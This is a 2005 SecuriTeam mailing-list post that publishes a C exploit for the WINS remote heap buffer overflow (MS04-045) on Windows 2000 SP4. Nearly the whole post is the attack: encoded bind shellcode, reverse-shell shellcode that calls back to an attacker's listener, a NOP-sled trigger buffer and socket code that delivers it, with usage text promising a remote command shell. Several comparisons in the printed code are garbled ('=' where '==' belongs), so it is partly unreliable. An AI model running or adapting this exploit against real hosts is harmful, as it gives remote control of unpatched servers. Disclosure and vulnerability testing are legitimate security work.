[EXPL] Vulnerability in WINS Allow Remote Code Execution (Exploit, MS04-045)
From: SecuriTeam (support_at_securiteam.com)
Date: 04/05/05
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To: list@securiteam.com Date: 5 Apr 2005 07:27:00 +0200
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Vulnerability in WINS Allow Remote Code Execution (Exploit, MS04-045)
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/windowsntfocus/6N00G1FC0M.html> Vulnerability
in WINS Allows Remote Code Execution (MS04-045, Name Validation,
Association Context), a vulnerability in WINS allows remote attacker to
cause the product to execute arbitrary code. The following exploit can be
used to trigger the vulnerability and thus to confirm whether you are
vulnerable or not.
DETAILS
Exploit:
/*
Windows Internet Name Service (WINS)
Remote Heap Buffer Overflow
------------------------------------
------------------------------------
Advisory credits:
----------------
Nicolas Waisman of Immunity Inc. (www.immunitysec.com)
Advisory link:
----------------
immunitysec.com/downloads/instantanea.pdf
Fix:
----------------
support.microsoft.com/kb/870763 (MS04-045)
Exploit method:
----------------
PEB (RtlEnterCriticalSection)
Tested Working:
----------------
Win2k SP4 Server ENGLISH (should be all langages, not sure)
Win2k SP4 Advanced Server ENGLISH (should be all langages, not sure)
(KB870763 removed!)
Note:
----------------
A HAT-SQUAD view on this hole; exploitable and remaining critic for
Windows 2000.
May need update for Windows 2003 due to the different
structure of wins.exe in it but the bug remain exploitable
with no KB870763 of course....
If you look closely at my code , you will notice two overwrites,
this is the difference between Server <=> Advanced Server, with an
el8 pad, repair, you catch them both.
Greetings:
----------------
All guys at hat-squad and metasploit
also #n3ws at EFnet, useful to keep an eye on security.. (50 rsslinks)
and thanx you leku.
-=[class101.org]=-
*/
#include <stdio.h>
#include <string.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif
char scode1[]=
"\x33\xC9\x83\xE9"
"\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
"\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
"\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
"\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
"\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
"\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
"\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
"\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
"\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
"\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
"\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
"\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
"\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
"\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
"\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
"\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
"\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
"\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
"\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
"\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
"\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
"\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";
char scode2[]=
/*original vlad902's reverse shellcode from metasploit.com
NOT xored, modded by class101 for ca's xpl0it to remove the common
badchar "\x20"
original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
"\xFC\x6A\xEB\x52" /*modded adjusting jump*/
"\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
"\x78\x01\xEF"
"\x83\xC7\x01" /*modded, adding 1 to edi*/
"\x8B\x4F\x17" /*modded, adjusting ecx*/
"\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
"\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
"\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
"\x8B\x5F\x23" /*modded, adjusting ebx*/
"\x01\xEB\x66\x8B\x0C\x4B"
"\x8B\x5F\x1B" /*modded, adjusting ebx*/
"\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
"\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
"\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
"\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
"\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
"\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
"\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
"\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
"\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
"\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
"\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
"\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
"\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
"\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";
char bug[]=
"\x00\x00\x07\xD0\x00\x00\xFF\x00\x05\x39\x1F\xBC\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90";
char payload[256],payload2[4096];
int tot;
char pad[]="\x00\x00\x00\x00",padB[]="\xEB\x07";
char ret1[]="\xFC\x20\x39\x05";
char ret1b[]="\x20\xF0\xFD\x7F";
char repair[]="\xC7\x40\x20\x60\x20\xF8\x77";
char sip[3],spo[1];
#ifdef WIN32
WSADATA wsadata;
#endif
void ver();
void usage(char* us);
void sl(int time);
int main(int argc,char *argv[])
{
ver();
int check1, check2;
unsigned long gip;
unsigned short gport;
char *what, *where, *os;
if
(argc>6||argc<3||atoi(argv[1])>1||atoi(argv[1])<1){usage(argv[0]);return
-1;}
if (argc=5||strlen(argv[2])<7){usage(argv[0]);return -1;}
if (argc=6){if (strlen(argv[4])<7){usage(argv[0]);return -1;}}
#ifndef WIN32
if (argc=6)
{
gip=inet_addr(argv[4])^(long)0x00000000;
gport=htons(atoi(argv[5]))^(short)0x0000;
memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
check1=strlen(&sip[0]);check2=strlen(&spo[0]);
if (check1 = 0||check1 = 1||check1 = 2||check1 = 3){
printf("[+] error, the IP has a null byte in hex...\n");return -1;}
if (check2 != 2){printf("[+] error, the PORT has a null byte in
hex...\n");return -1;}
}
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup
error\n");return -1;}
if (argc=6)
{
gip=inet_addr(argv[4])^(ULONG)0x00000000;
gport=htons(atoi(argv[5]))^(USHORT)0x0000;
memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
check1=strlen(&sip[0]);check2=strlen(&spo[0]);
if (check1 = 0||check1 = 1||check1 = 2||check1 = 3){
printf("[+] error, the IP has a null byte in hex...\n");return -1;}
if (check2 != 2){printf("[+] error, the PORT has a null byte in
hex...\n");return -1;}
}
#endif
int ip=htonl(inet_addr(argv[2])), port;
if (argc=4||argc=6){port=atoi(argv[3]);} else port=42;
SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s=-1){printf("[+] socket() error\n");return -1;}
if (atoi(argv[1]) = 1){what=ret1;where=ret1b;os="Win2k SP4 Server
ENGLISH\n[+] Win2k SP4 Advanced Server ENGLISH\n";}
printf("[+] TARGET: %s\n",os);sl(1);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
connect(s,( struct sockaddr *)&server,sizeof(server));
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
case 0: {printf("[+] connection failed\n");closesocket(s);return -1;}
default:
if(FD_ISSET(s,&mask))
{
printf("[+] connected\n");sl(1);
printf("[+] building the payload..\n");sl(1);
memset(payload,0x90,196);memcpy(payload+132,what,4);memcpy(payload+136,where,4);
memcpy(&bug[84], what, 4);memcpy(&bug[88], where, 4);
memset(payload2,0x90,2100);
memcpy(payload2+252,padB,2);memcpy(payload2+52,padB,2);
memcpy(payload2+263,repair,7);memcpy(payload2+63,repair,7);
if (argc=6)
{
memcpy(&scode2[167], &gip, 4);
memcpy(&scode2[173], &gport, 2);
memcpy(payload2+350,scode2,strlen(scode2));
}
else memcpy(payload2+350,scode1,strlen(scode1));
printf("[+] sh0uting the heap!\n");sl(1);
if (send(s,bug,sizeof(bug)-1,0)=-1) { printf("[+] sending error, the
server prolly rebooted.\n");return -1;}
if (send(s,pad,sizeof(pad)-1,0)=-1) { printf("[+] sending error, the
server prolly rebooted.\n");return -1;}
if (send(s,payload,strlen(payload),0)=-1) { printf("[+] sending error,
the server prolly rebooted.\n");return -1;}
if (send(s,pad,sizeof(pad)-1,0)=-1) { printf("[+] sending error, the
server prolly rebooted.\n");return -1;}
if (send(s,payload2,strlen(payload2),0)=-1) { printf("[+] sending
error, the server prolly rebooted.\n");return -1;}
sl(3);
tot=sizeof(bug)-1+(sizeof(pad)*2)-2+strlen(payload)+strlen(payload2);
printf("[+]\n[+] payload size: %d\n",tot);sl(1);
if (argc=6){printf("[+] payload sent, look at your listener, you should
get a shell\n");}
else printf("[+] payload sent, use telnet %s:101 to get a
shell\n",inet_ntoa(server.sin_addr));
return 0;
}
}
closesocket(s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
void usage(char* us)
{
printf(" \n");
printf(" [+] . 101_WINS.exe Target VulnIP (bind mode) \n");
printf(" [+] . 101_WINS.exe Target VulnIP VulnPORT (bind mode) \n");
printf(" [+] . 101_WINS.exe Target VulnIP VulnPORT GayIP GayPORT (reverse
mode) \n");
printf("TARGETS: \n");
printf(" [+] 1. Win2k SP4 Server English (*) - v5.0.2195 \n");
printf(" [+] 1. Win2k SP4 Advanced Server English (*) - v5.0.2195 \n");
printf("NOTE: \n");
printf(" The exploit bind a cmdshell port 101 or \n");
printf(" reverse a cmdshell on your listener. \n");
printf(" A wildcard (*) mean tested working, else, supposed working.
\n");
printf(" A symbol (-) mean all. \n");
printf(" Compilation msvc6, cygwin, Linux. \n");
printf(" \n");
return;
}
void ver()
{
printf(" \n");
printf(" ==========================[v0.2]==\n");
printf(" ======Windows Internet Name Service (WINS)=======\n");
printf(" ======Remote Heap Buffer Overflow Exploit=======\n");
printf(" ===coded by class101=======[Hat-Squad.com 2005]===\n");
printf(" ===============================\n");
printf(" \n");
}
void sl(int time)
{
#ifdef WIN32
Sleep(time*1000);
#else
Sleep(time);
#endif
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:class101@hat-squad.com>
class101.
========================================
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